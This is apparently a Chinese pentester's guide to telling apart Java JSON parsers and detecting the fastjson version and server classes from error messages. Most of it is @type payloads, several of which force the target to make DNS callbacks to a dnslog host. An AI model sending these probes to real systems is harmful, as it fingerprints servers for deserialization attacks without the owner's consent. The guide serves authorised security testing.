给定正常对象 User
public class User {
String username;
int password;
float id;
}
利用报错信息、回显信息来区分json框架最直接的方式是更改原json数据构造错误语法(比如删去 "
) ,通过异常信息中的关键字识别。
这种方式需要的最重要的一个前置条件就是报错需要回显,且需要是json框架的报错。比如在实战中遇到一些做了统一错误处理的站点,原本用来判断 jackson 的方式(添加字符破坏的方式),在参数处理时就已经触发Exception,这种情况其实是不好确定的。
- 浮点精度不丢失
其他 json 解析库在解析json时都会丢失,但fastjson不会
{
"username": "1234",
"password": 1.111111111111111111111111111111111,
"id": 1.1111111111111111111111111111111111111
}
- 响应状态
如果是fastjson会对@type做出响应
{
"@type": "whatever"
}
- DNSLOG
DNSLOG 这种方式可以无回显探测fastjson,是较为高效的一种方法,但不适用于不出网环境,具体探测方式在后文展开
{
"x": {
"@type": "java.net.InetSocketAddress"{
"address":,
"val": "dnslog"
}}
}
- 严格要求与bean对象对齐,可少不能多,因此添加多余kv 报错
{
"username": "1234",
"password": "123",
"a": 1
}
- 无法解析单引号 报错
{
'username': '1234',
'password': '123'
}
- 无法识别注释符 报错
{
"username": "1234",
"password": "123"
}/**/
- 浮点无法转整数 报错
向 int 类型的值传浮点数无法解析会报错 NumberFormatException
{
"username": "1234",
"password": 1.111111111111111111111111111111111,
"id": 1
}
- 特有解析
org.json 与 gson 在遇到 # 时都会当注释符处理,可以用来识别这两个框架
#\n{"username": "1234", "password": 1, "id": 1.1}
而gson 在不开启 JsonReader.setLenient(true)
的情况下(默认未开启),再拼接一个json字符串时会报错,可以用来区分这两个框架
#\n{a: 1}\n{\"username\":\"1234\",\"password\":1,\"id\":1.1}
- 特有解析
org.json 打印会调用 toString() 所以可以插入\n \r
等字符改变输出,如结合前面的#
再加上\r
#{"username": "\r"}
对于某正常登陆接口
添加多余key不报错,排除jackson
寻找另外一个整数值的接口改成浮点数,触发报错,但报错信息与gson预想不一致,还需要判断
拼接特有解析 #\n{a:1}\n
,在排除gson的同时,通过报错信息得到组件为fastjson 1.2.83
存在一个接口可以解析一个 dnslog 的请求
但是如果是用 fastjson 可解析的不规范格式就会报错,报错字符中很明显的存在 jackson 字样
最后发现用了 Feign 库来做 json 转换,限定得使用标准 json 格式
<!-- https://mvnrepository.com/artifact/io.github.openfeign/feign-jackson -->
<dependency>
<groupId>io.github.openfeign</groupId>
<artifactId>feign-jackson</artifactId>
<version>12.4</version>
</dependency>
需要注意的是如果使用 JSON.parseArray() 解析,需要 [] 包裹 payload 才不会报错。
String contents = "[{\"name\":\"whoopsunix\",\"age\":18}]";
JSON.parseArray(contents);
这里给出8条fastjson的调用链进行测试,如果存在fastjson框架则会收到 dns 请求,其中java.net.URL
在 1.2.24中不会解析
{"1":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"2":{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}}
{"3":{"@type":"com.alibaba.fastjson.JSONObject",{"@type": "java.net.URL","val":"http://dnslog"}}""}}
{"4":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"5":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"5":{"@type":"java.net.InetAddress","val":"dnslog"}}
{"6":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}
{"7":{{"@type":"java.net.URL","val":"http://dnslog"}:0}}
在 dnslog 域名被禁用的情况下,有回显也可以用一些正常域名测试是否存在DNS配置或出网
{
"a": {
"@type": "java.net.InetAddress",
"val": "www.baidu.com"
}
}
需要注意的是部分系统是不支持 [] 形式包裹的,根据站点特性灵活改变写法
{
"username": {
"@type": "whatever"
}
}
有报错回显的情况下,返回精确版本号
{
"@type": "java.lang.AutoCloseable"
对于存在 FastJsonHttpMessageConverter 配置的解析,通常指定了key值或json结构,可通过添加[]
等方式破坏既定结构,实例:
[
{
"@type": "whatever"
}
]
在没有回显的情况下,如果可以出网就要考虑dnslog了
前文提到1.2.24版本不会解析 java.net.URL
,而在之前的研究中,1.2.47、1.2.68、1.2.80是漏洞的三个里程碑版本,通过java.lang.Class
、java.lang.AutoCloseable
、java.lang.Exception
来构造dns请求可以准确识别
payload向下兼容版本,
[
{
"@type": "java.lang.Class",
"val": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "dnslog"
}
}
]
[
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "dnslog"
}
}
]
在68和80都只会接收到第一个dnslog请求,83会收到第二个请求
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "1.dnslog.cn"
}
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "2.dnslog.cn"
}
}
}
]
探测到存在的类时将 Class 强转为 Char 导致报错回显
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "com.fastjsoncheck.User"
}
}
当类存在时将返回一个类实例
{
"p": {
"@type": "java.lang.Class",
"val": "com.fastjsoncheck.User"
}
}
该方式有限制,在mac环境下可以ping带 {}
的域名,Linux、win会报错
{
"@type": "java.net.Inet4Address",
"val": {
"@type": "java.lang.String"{
"@type": "java.util.Locale",
"val": {
"@type": "com.alibaba.fastjson.JSONObject",{
"@type": "java.lang.String"
"@type": "java.util.Locale",
"country": "dnslog",
"language": {
"@type": "java.lang.String"{
"x": {
"@type": "java.lang.Class",
"val": "org.python.antlr.ParseException"
}
}}
}
}